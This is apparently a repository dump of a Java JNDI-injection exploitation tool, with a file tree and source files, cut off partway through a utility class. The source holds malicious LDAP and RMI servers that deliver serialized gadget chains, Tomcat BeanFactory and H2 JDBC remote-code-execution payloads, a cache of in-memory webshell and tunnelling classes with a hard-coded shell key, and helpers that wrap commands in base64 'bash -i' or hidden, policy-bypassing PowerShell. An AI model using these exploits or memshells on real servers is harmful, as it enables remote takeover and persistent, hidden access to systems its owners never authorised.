├── JNDIInject-1.2-SNAPSHOT.jar ├── README.md ├── data ├── Exp.class ├── Exploit.class ├── Exploit.java └── behinder3.jar ├── images ├── Fuzz1.png ├── Fuzz1Example.png ├── Fuzz2.png ├── Fuzz22.png ├── FuzzExample1.png ├── FuzzExample2.png ├── FuzzExample3.png ├── JNDI.png ├── fuzzbydnslog.png ├── javaVersion.png ├── nyjx.png └── success.png ├── pom.xml ├── src └── main │ └── java │ ├── com │ └── bloom │ │ ├── Run.java │ │ ├── Template │ │ ├── CommandTemplate.java │ │ ├── Template.java │ │ └── isOK.java │ │ ├── exploit │ │ ├── Exp.java │ │ └── payload.java │ │ ├── payload │ │ ├── C3P0Tomcat.java │ │ ├── JDBCRce.java │ │ ├── MletFuzz.java │ │ └── TomcatByPass.java │ │ ├── server │ │ ├── CodebaseServer.java │ │ ├── HackerLDAPRefServer.java │ │ ├── HttpServerStart.java │ │ ├── LdapServer.java │ │ └── RmiServer.java │ │ └── util │ │ ├── Cache.java │ │ ├── Functions.java │ │ ├── Fuzz.java │ │ ├── JavassistClassLoader.java │ │ ├── Util.java │ │ └── config.java │ └── ysoserial │ ├── Deserializer.java │ ├── GeneratePayload.java │ ├── Serializer.java │ ├── Strings.java │ ├── exploit │ ├── JMXInvokeMBean.java │ ├── JRMPClassLoadingListener.java │ ├── JRMPClient.java │ ├── JRMPListener.java │ ├── JSF.java │ ├── JenkinsCLI.java │ ├── JenkinsListener.java │ ├── JenkinsReverse.java │ └── RMIRegistryExploit.java │ ├── payloads │ ├── BeanShell1.java │ ├── C3P0.java │ ├── Clojure.java │ ├── CommonsBeanutils1.java │ ├── CommonsBeanutils183NOCC.java │ ├── CommonsBeanutils192NOCC.java │ ├── CommonsCollections1.java │ ├── CommonsCollections12.java │ ├── CommonsCollections2.java │ ├── CommonsCollections3.java │ ├── CommonsCollections4.java │ ├── CommonsCollections5.java │ ├── CommonsCollections6.java │ ├── CommonsCollections7.java │ ├── CommonsCollections8.java │ ├── CommonsCollectionsK1.java │ ├── CommonsCollectionsK1TomcatEcho.java │ ├── CommonsCollectionsK2.java │ ├── CommonsCollectionsK2TomcatEcho.java │ ├── CommonsCollectionsK3.java │ ├── CommonsCollectionsK4.java │ ├── DynamicDependencies.java │ ├── FileUpload1.java │ ├── FindClassByDNS.java │ ├── FindGadgetByDNS.java │ ├── Groovy1.java │ ├── Hibernate1.java │ ├── Hibernate2.java │ ├── JBossInterceptors1.java │ ├── JRMPClient.java │ ├── JRMPListener.java │ ├── JSON1.java │ ├── JavassistWeld1.java │ ├── Jdk7u21.java │ ├── Jdk8u20.java │ ├── Jython1.java │ ├── MozillaRhino1.java │ ├── MozillaRhino2.java │ ├── Myfaces1.java │ ├── Myfaces2.java │ ├── ObjectPayload.java │ ├── ROME.java │ ├── ReleaseableObjectPayload.java │ ├── Spring1.java │ ├── Spring2.java │ ├── URLDNS.java │ ├── Vaadin1.java │ ├── Wicket1.java │ ├── annotation │ │ ├── Authors.java │ │ ├── Dependencies.java │ │ └── PayloadTest.java │ ├── templates │ │ ├── ClassLoaderTemplate.java │ │ ├── CommandTemplate.java │ │ ├── Meterpreter.java │ │ ├── SpringEchoTemplate.java │ │ ├── SpringInterceptorMemShell.java │ │ ├── SpringInterceptorTemplate.java │ │ ├── TomcatCmdEcho.java │ │ ├── TomcatFilterMemShellFromJMX.java │ │ ├── TomcatFilterMemShellFromThread.java │ │ ├── TomcatListenerMemShellFromJMX.java │ │ ├── TomcatListenerMemShellFromThread.java │ │ ├── TomcatListenerNeoRegFromThread.java │ │ ├── TomcatServletMemShellFromJMX.java │ │ └── TomcatServletMemShellFromThread.java │ └── util │ │ ├── ClassFiles.java │ │ ├── ClassUtil.java │ │ ├── Gadgets.java │ │ ├── JavaVersion.java │ │ ├── PayloadRunner.java │ │ └── Reflections.java │ └── secmgr │ ├── DelegateSecurityManager.java │ └── ExecCheckingSecurityManager.java └── yaml-payload-master ├── .gitignore ├── README.md ├── src ├── META-INF │ └── services │ │ └── javax.script.ScriptEngineFactory └── artsploit │ ├── AwesomeScriptEngineFactory.class │ └── AwesomeScriptEngineFactory.java └── yaml-payload.jar /JNDIInject-1.2-SNAPSHOT.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/JNDIInject-1.2-SNAPSHOT.jar -------------------------------------------------------------------------------- /data/Exp.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/data/Exp.class -------------------------------------------------------------------------------- /data/Exploit.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/data/Exploit.class -------------------------------------------------------------------------------- /data/Exploit.java: -------------------------------------------------------------------------------- 1 | public class Exploit { 2 | public Exploit(){ 3 | try{ 4 | Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); 5 | }catch(Exception e){ 6 | e.printStackTrace(); 7 | } 8 | } 9 | public static void main(String[] argv){ 10 | Exploit e = new Exploit(); 11 | } 12 | } -------------------------------------------------------------------------------- /data/behinder3.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/data/behinder3.jar -------------------------------------------------------------------------------- /images/Fuzz1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/Fuzz1.png -------------------------------------------------------------------------------- /images/Fuzz1Example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/Fuzz1Example.png -------------------------------------------------------------------------------- /images/Fuzz2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/Fuzz2.png -------------------------------------------------------------------------------- /images/Fuzz22.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/Fuzz22.png -------------------------------------------------------------------------------- /images/FuzzExample1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/FuzzExample1.png -------------------------------------------------------------------------------- /images/FuzzExample2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/FuzzExample2.png -------------------------------------------------------------------------------- /images/FuzzExample3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/FuzzExample3.png -------------------------------------------------------------------------------- /images/JNDI.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/JNDI.png -------------------------------------------------------------------------------- /images/fuzzbydnslog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/fuzzbydnslog.png -------------------------------------------------------------------------------- /images/javaVersion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/javaVersion.png -------------------------------------------------------------------------------- /images/nyjx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/nyjx.png -------------------------------------------------------------------------------- /images/success.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/images/success.png -------------------------------------------------------------------------------- /src/main/java/com/bloom/Run.java: -------------------------------------------------------------------------------- 1 | package com.bloom; 2 | 3 | import com.bloom.server.HttpServerStart; 4 | import com.bloom.util.config; 5 | 6 | import static com.bloom.server.LdapServer.lanuchLDAPServer; 7 | 8 | public class Run { 9 | public static void main(String[] args) throws Exception { 10 | // RmiServer rmiServer=new RmiServer(); 11 | // rmiServer.startserver(); 12 | config.applyCmdArgs(args); 13 | // LdapServer.start(); 14 | // HTTPServer.start(); 15 | // String http_server_ip = "127.0.0.1"; 16 | // int ldap_port = Integer.valueOf("1389"); 17 | // int http_server_port = Integer.valueOf("8080"); 18 | HttpServerStart httpServerStart=new HttpServerStart(); 19 | httpServerStart.start(); 20 | lanuchLDAPServer(); 21 | System.out.println("memshellKEY: ck4Gr4Qi"); 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/Template/Template.java: -------------------------------------------------------------------------------- 1 | package com.bloom.Template; 2 | 3 | public interface Template { 4 | void generate(); 5 | byte[] getBytes(); 6 | void cache(); 7 | String getClassName(); 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/Template/isOK.java: -------------------------------------------------------------------------------- 1 | package com.bloom.Template; 2 | 3 | /** 4 | * @ClassName: isOK 5 | * @Description: TODO 6 | * @Author: Summer 7 | * @Date: 2021/8/1 16:40 8 | * @Version: v1.0.0 9 | * @Description: 10 | **/ 11 | public class isOK { 12 | public isOK(){ 13 | System.out.println("sucess"); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/exploit/Exp.java: -------------------------------------------------------------------------------- 1 | package com.bloom.exploit; 2 | 3 | public class Exp { 4 | public Exp() { 5 | try{ 6 | Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); 7 | }catch(Exception e) { 8 | e.printStackTrace(); 9 | } 10 | } 11 | public static void main(String[] argv){ 12 | Exp e = new Exp(); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/payload/C3P0Tomcat.java: -------------------------------------------------------------------------------- 1 | package com.bloom.payload; 2 | 3 | import com.mchange.v2.c3p0.PoolBackedDataSource; 4 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 5 | import org.apache.naming.ResourceRef; 6 | import ysoserial.payloads.ObjectPayload; 7 | import ysoserial.payloads.annotation.Authors; 8 | import ysoserial.payloads.annotation.Dependencies; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import javax.naming.NamingException; 13 | import javax.naming.Reference; 14 | import javax.naming.Referenceable; 15 | import javax.naming.StringRefAddr; 16 | import javax.sql.ConnectionPoolDataSource; 17 | import javax.sql.PooledConnection; 18 | import java.io.PrintWriter; 19 | import java.sql.SQLException; 20 | import java.sql.SQLFeatureNotSupportedException; 21 | import java.util.logging.Logger; 22 | 23 | 24 | /** 25 | yulegeyu modified 26 | */ 27 | //@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) 28 | @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) 29 | @Authors({ Authors.MBECHLER }) 30 | public class C3P0Tomcat implements ObjectPayload { 31 | 32 | public static void setCmd(String cmd) { 33 | C3P0Tomcat.cmd = cmd; 34 | } 35 | 36 | static String cmd = "open -a calculator.app"; 37 | 38 | public Object getObject ( String command ) throws Exception { 39 | 40 | PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); 41 | Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("org.apache.naming.factory.BeanFactory", null)); 42 | return b; 43 | } 44 | 45 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 46 | 47 | private String className; 48 | private String url; 49 | 50 | public PoolSource ( String className, String url ) { 51 | this.className = className; 52 | this.url = url; 53 | } 54 | 55 | public Reference getReference () throws NamingException { 56 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 57 | ref.add(new StringRefAddr("forceString", "x=eval")); 58 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','"+ cmd +"']).start()\")")); 59 | return ref; 60 | } 61 | 62 | 63 | public PrintWriter getLogWriter () throws SQLException {return null;} 64 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 65 | public void setLoginTimeout ( int seconds ) throws SQLException {} 66 | public int getLoginTimeout () throws SQLException {return 0;} 67 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 68 | public PooledConnection getPooledConnection () throws SQLException {return null;} 69 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 70 | 71 | } 72 | 73 | 74 | public static void main ( final String[] args ) throws Exception { 75 | PayloadRunner.run(C3P0Tomcat.class, args); 76 | } 77 | 78 | } -------------------------------------------------------------------------------- /src/main/java/com/bloom/payload/JDBCRce.java: -------------------------------------------------------------------------------- 1 | package com.bloom.payload; 2 | 3 | import javax.naming.Reference; 4 | import javax.naming.StringRefAddr; 5 | 6 | public class JDBCRce { 7 | 8 | public static Reference tomcat_dbcp2_RCE(String command){ 9 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory",command); 10 | } 11 | public static Reference tomcat_dbcp1_RCE(String command){ 12 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",command); 13 | } 14 | public static Reference commons_dbcp2_RCE(String command){ 15 | return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory",command); 16 | } 17 | public static Reference commons_dbcp1_RCE(String command){ 18 | return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory",command); 19 | } 20 | public static Reference druidjdbc(String command){ 21 | return dbcpByFactory("com.alibaba.druid.pool.DruidDataSourceFactory",command); 22 | } 23 | public static Reference tomcatJDBC(String command){ 24 | return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory",command); 25 | } 26 | 27 | 28 | private static Reference dbcpByFactory(String factory,String command){ 29 | Reference ref = new Reference("javax.sql.DataSource",factory,null); 30 | String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + 31 | "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + 32 | "java.lang.Runtime.getRuntime().exec('"+command+"')\n" + 33 | "$$\n"; 34 | ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); 35 | ref.add(new StringRefAddr("url",JDBC_URL)); 36 | ref.add(new StringRefAddr("init","true")); 37 | ref.add(new StringRefAddr("username","root")); 38 | ref.add(new StringRefAddr("password","password")); 39 | ref.add(new StringRefAddr("initialSize","1")); 40 | return ref; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/payload/MletFuzz.java: -------------------------------------------------------------------------------- 1 | package com.bloom.payload; 2 | 3 | import com.bloom.util.Fuzz; 4 | import com.unboundid.util.Base64; 5 | import org.apache.naming.ResourceRef; 6 | import ysoserial.Serializer; 7 | 8 | import javax.naming.StringRefAddr; 9 | import java.io.IOException; 10 | 11 | public class MletFuzz { 12 | 13 | public static String Fuzzpayload(String Clazz,String url) throws IOException { 14 | String loadClass= Fuzz.Fuzzmap.get(Clazz); 15 | ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", 16 | true, "org.apache.naming.factory.BeanFactory", null); 17 | ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); 18 | ref.add(new StringRefAddr("a", loadClass)); 19 | ref.add(new StringRefAddr("b", "http://"+url+"/")); 20 | ref.add(new StringRefAddr("c", Clazz)); 21 | System.out.println("Fuzz的class:"+loadClass); 22 | String s = Base64.encode(Serializer.serialize(ref)); 23 | return s; 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/server/CodebaseServer.java: -------------------------------------------------------------------------------- 1 | package com.bloom.server; 2 | 3 | import java.io.IOException; 4 | 5 | public class CodebaseServer { 6 | /*** 7 | * 启动http服务器,提供下载远程要调用的类 8 | * 9 | * @throws IOException 10 | */ 11 | // public static void lanuchCodebaseURLServer(String ip, int port) throws IOException { 12 | // System.out.println("Starting HTTP server"); 13 | // HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0); 14 | // httpServer.createContext("/", new HttpFileHandler()); 15 | // httpServer.setExecutor(null); 16 | // httpServer.start(); 17 | // } 18 | } -------------------------------------------------------------------------------- /src/main/java/com/bloom/server/HackerLDAPRefServer.java: -------------------------------------------------------------------------------- 1 | package com.bloom.server; 2 | import java.net.*; 3 | import java.text.ParseException; 4 | import javax.net.ServerSocketFactory; 5 | import javax.net.SocketFactory; 6 | import javax.net.ssl.SSLSocketFactory; 7 | 8 | import com.bloom.exploit.payload; 9 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 10 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 11 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 12 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 13 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 14 | import com.unboundid.ldap.sdk.Entry; 15 | import com.unboundid.ldap.sdk.LDAPException; 16 | import com.unboundid.ldap.sdk.LDAPResult; 17 | import com.unboundid.ldap.sdk.ResultCode; 18 | import com.unboundid.util.Base64; 19 | 20 | 21 | public class HackerLDAPRefServer { 22 | 23 | 24 | public HackerLDAPRefServer() { 25 | } 26 | 27 | private static final String LDAP_BASE = "dc=example,dc=com"; 28 | 29 | public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception { 30 | try { 31 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 32 | config.setListenerConfigs(new InMemoryListenerConfig( 33 | "listen", 34 | InetAddress.getByName("0.0.0.0"), 35 | ldap_port, 36 | ServerSocketFactory.getDefault(), 37 | SocketFactory.getDefault(), 38 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 39 | 40 | config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit1"))); 41 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 42 | System.out.println("Listening on 0.0.0.0:" + ldap_port); 43 | ds.startListening(); 44 | } 45 | catch ( Exception e ) { 46 | e.printStackTrace(); 47 | } 48 | } 49 | 50 | 51 | private static class OperationInterceptor extends InMemoryOperationInterceptor { 52 | 53 | private URL codebase; 54 | 55 | public OperationInterceptor ( URL cb ) { 56 | this.codebase = cb; 57 | } 58 | 59 | @Override 60 | public void processSearchResult ( InMemoryInterceptedSearchResult result ) { 61 | String base = result.getRequest().getBaseDN(); 62 | Entry e = new Entry(base); 63 | try { 64 | sendResult(result, base, e); 65 | } 66 | catch ( Exception e1 ) { 67 | e1.printStackTrace(); 68 | } 69 | 70 | } 71 | 72 | protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { 73 | URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); 74 | System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); 75 | e.addAttribute("javaClassName", "foo"); 76 | String cbstring = this.codebase.toString(); 77 | int refPos = cbstring.indexOf('#'); 78 | if ( refPos > 0 ) { 79 | cbstring = cbstring.substring(0, refPos); 80 | } 81 | /** Payload1: Return Reference Factory **/ 82 | // e.addAttribute("javaCodeBase", cbstring); 83 | // e.addAttribute("objectClass", "javaNamingReference"); 84 | // e.addAttribute("javaFactory", this.codebase.getRef()); 85 | /** Payload1 end **/ 86 | 87 | /** Payload2: Return Serialized Gadget **/ 88 | try { 89 | // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64 90 | String s= payload.getPayload("CommonsBeanutils1","open /System/Applications/Calculator.app"); 91 | e.addAttribute("javaSerializedData",Base64.decode(s)); 92 | } catch (ParseException e1) { 93 | e1.printStackTrace(); 94 | } 95 | /** Payload2 end **/ 96 | 97 | result.sendSearchEntry(e); 98 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 99 | } 100 | 101 | } 102 | 103 | public static void main(String[] args) throws Exception { 104 | 105 | // System.out.println("HttpServerAddress: "+args[0]); 106 | // System.out.println("HttpServerPort: "+args[1]); 107 | // System.out.println("LDAPServerPort: "+args[2]); 108 | String http_server_ip = "127.0.0.1"; 109 | int ldap_port = Integer.valueOf("1389"); 110 | int http_server_port = Integer.valueOf("8080"); 111 | HttpServerStart httpServerStart=new HttpServerStart(); 112 | httpServerStart.start1(); 113 | // CodebaseServer.lanuchCodebaseURLServer(http_server_ip, http_server_port); 114 | lanuchLDAPServer(ldap_port, http_server_ip, http_server_port); 115 | } 116 | } -------------------------------------------------------------------------------- /src/main/java/com/bloom/server/RmiServer.java: -------------------------------------------------------------------------------- 1 | package com.bloom.server; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.NamingException; 7 | import javax.naming.Reference; 8 | import javax.naming.StringRefAddr; 9 | import java.rmi.AlreadyBoundException; 10 | import java.rmi.RemoteException; 11 | import java.rmi.registry.LocateRegistry; 12 | import java.rmi.registry.Registry; 13 | 14 | 15 | public class RmiServer { 16 | public void startserver() throws Exception { 17 | HttpServerStart.start(); 18 | 19 | Registry registry = LocateRegistry.createRegistry(1099); 20 | Reference exec = new Reference("Exploit", "Exploit", "http://127.0.0.1:8082/"); 21 | ReferenceWrapper refObjWrapper = new ReferenceWrapper(exec); 22 | System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/Exploit'"); 23 | registry.bind("Exploit", refObjWrapper); 24 | } 25 | 26 | public void tomcatbypass() throws NamingException, RemoteException, AlreadyBoundException { 27 | System.out.println("Creating evil RMI registry on port 1097"); 28 | Registry registry = LocateRegistry.createRegistry(1097); 29 | 30 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 31 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 32 | //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code 33 | ref.add(new StringRefAddr("forceString", "x=eval")); 34 | //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows 35 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /System/Applications/Calculator.app']).start()\")")); 36 | 37 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); 38 | registry.bind("Object", referenceWrapper); 39 | } 40 | 41 | public static void main(String args[]) throws Exception { 42 | // HttpServerStart.start(); 43 | // 44 | // Registry registry = LocateRegistry.createRegistry(1099); 45 | // Reference exec = new Reference("Exploit", "Exploit", "http://127.0.0.1:8082/"); 46 | // ReferenceWrapper refObjWrapper = new ReferenceWrapper(exec); 47 | // System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/Exploit'"); 48 | // registry.bind("Exploit", refObjWrapper); 49 | RmiServer rmiServer=new RmiServer(); 50 | rmiServer.tomcatbypass(); 51 | 52 | } 53 | 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/util/Cache.java: -------------------------------------------------------------------------------- 1 | package com.bloom.util; 2 | 3 | import com.bloom.Template.isOK; 4 | import com.bloom.util.Functions; 5 | import net.jodah.expiringmap.ExpirationPolicy; 6 | import net.jodah.expiringmap.ExpiringMap; 7 | import ysoserial.payloads.templates.*; 8 | 9 | 10 | import java.util.concurrent.TimeUnit; 11 | 12 | 13 | public class Cache { 14 | private static ExpiringMap map = ExpiringMap.builder() 15 | .maxSize(1000) 16 | .expiration(30, TimeUnit.SECONDS) 17 | .variableExpiration() 18 | .expirationPolicy(ExpirationPolicy.CREATED) 19 | .build(); 20 | 21 | static{ 22 | try { 23 | //过期时间100年,永不过期的简单方法 24 | map.put("SpringInterceptorMemShell", Functions.getClassBytes(SpringInterceptorMemShell.class), 365 * 100, TimeUnit.DAYS); 25 | map.put("TomcatFilterMemShellFromJMX", Functions.getClassBytes(TomcatFilterMemShellFromJMX.class), 365 * 100, TimeUnit.DAYS); 26 | map.put("TomcatFilterMemShellFromThread", Functions.getClassBytes(TomcatFilterMemShellFromThread.class), 365 * 100, TimeUnit.DAYS); 27 | map.put("TomcatListenerMemShellFromJMX", Functions.getClassBytes(TomcatListenerMemShellFromJMX.class), 365 * 100, TimeUnit.DAYS); 28 | map.put("TomcatListenerMemShellFromThread", Functions.getClassBytes(TomcatListenerMemShellFromThread.class), 365 * 100, TimeUnit.DAYS); 29 | map.put("TomcatListenerNeoRegFromThread", Functions.getClassBytes(TomcatListenerNeoRegFromThread.class), 365 * 100, TimeUnit.DAYS); 30 | map.put("TomcatServletMemShellFromJMX", Functions.getClassBytes(TomcatServletMemShellFromJMX.class), 365 * 100, TimeUnit.DAYS); 31 | map.put("TomcatServletMemShellFromThread", Functions.getClassBytes(TomcatServletMemShellFromThread.class), 365 * 100, TimeUnit.DAYS); 32 | map.put("TomcatCmdEcho", Functions.getClassBytes(TomcatCmdEcho.class), 365 * 100, TimeUnit.DAYS); 33 | map.put("isOK", Functions.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); 34 | 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | } 39 | 40 | public static byte[] get(String key){ 41 | return map.get(key); 42 | } 43 | 44 | public static void set(String key, byte[] bytes){ 45 | map.put(key, bytes); 46 | } 47 | 48 | public static boolean contains(String key){ 49 | return map.containsKey(key); 50 | } 51 | 52 | public static void remove(String key){ 53 | map.remove(key); 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/util/Functions.java: -------------------------------------------------------------------------------- 1 | package com.bloom.util; 2 | 3 | import com.unboundid.util.Base64; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.util.ArrayList; 9 | import java.util.Random; 10 | 11 | public class Functions { 12 | 13 | public static String makeCommand(String command) { 14 | if (command.startsWith("base64=")) { 15 | command = "bash -c {echo," + Base64.encode(command.replace("base64=", "")) + "}|{base64,-d}|{bash,-i}"; 16 | } 17 | if (command.startsWith("powershell=")) { 18 | command = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc " + Base64.encode(command.replace("powershell=", "")); 19 | } 20 | if (command.startsWith("python=")) { 21 | command = "python -c exec('" + Base64.encode(command.replace("python=", "")) + "'.decode('base64'))"; 22 | } 23 | if (command.startsWith("perl=")) { 24 | command = "perl -MMIME::Base64 -e eval(decode_base64('" + Base64.encode(command.replace("perl=", "")) + "'))"; 25 | } 26 | return command; 27 | } 28 | 29 | public static String makeJavaScriptString(String str2) { 30 | ArrayList result = new ArrayList(str2.length()); 31 | for (int i2 = 0; i2 < str2.length(); ++i2) { 32 | Integer x = Character.codePointAt(str2, i2); 33 | result.add(x.toString()); 34 | } 35 | return "String.fromCharCode(" + String.join((CharSequence)",", result) + ")"; 36 | } 37 | 38 | public static String getRandomString() { 39 | String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 40 | StringBuilder sb = new StringBuilder(); 41 | sb.append("Exp"); 42 | for (int i = 0; i < 10; i++) { 43 | char ch = str.charAt(new Random().nextInt(str.length())); 44 | sb.append(ch); 45 | } 46 | return sb.toString(); 47 | } 48 | public static String SpacePass(String command){ 49 | 50 | command=command.replace(" ","\\t\\n"); 51 | // System.out.println(command); 52 | return command; 53 | } 54 | 55 | 56 | public static byte[] getClassBytes(Class clazz) throws Exception { 57 | String className = clazz.getName(); 58 | String resoucePath = className.replaceAll("\\.", "/") + ".class"; 59 | InputStream in = Functions.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); 60 | byte[] bytes = new byte[1024]; 61 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 62 | int len = 0; 63 | while((len = in.read(bytes)) != -1){ 64 | baous.write(bytes, 0 , len); 65 | } 66 | 67 | in.close(); 68 | baous.close(); 69 | 70 | return baous.toByteArray(); 71 | } 72 | 73 | public static byte[] getClassBytes(String resoucePath) throws Exception { 74 | // String resoucePath = className.replaceAll("\\.", "/") + ".class"; 75 | InputStream in = Functions.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); 76 | byte[] bytes = new byte[1024]; 77 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 78 | int len = 0; 79 | while((len = in.read(bytes)) != -1){ 80 | baous.write(bytes, 0 , len); 81 | } 82 | 83 | in.close(); 84 | baous.close(); 85 | 86 | return baous.toByteArray(); 87 | } 88 | 89 | public static void main(String[] args) { 90 | String a=SpacePass("cat /etc/pass"); 91 | System.out.println(a); 92 | } 93 | 94 | public static boolean ipCheck(String text) { 95 | if (text != null && !text.isEmpty()) { 96 | String regex = "^(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\." 97 | + "(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\." +"(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\." 98 | + 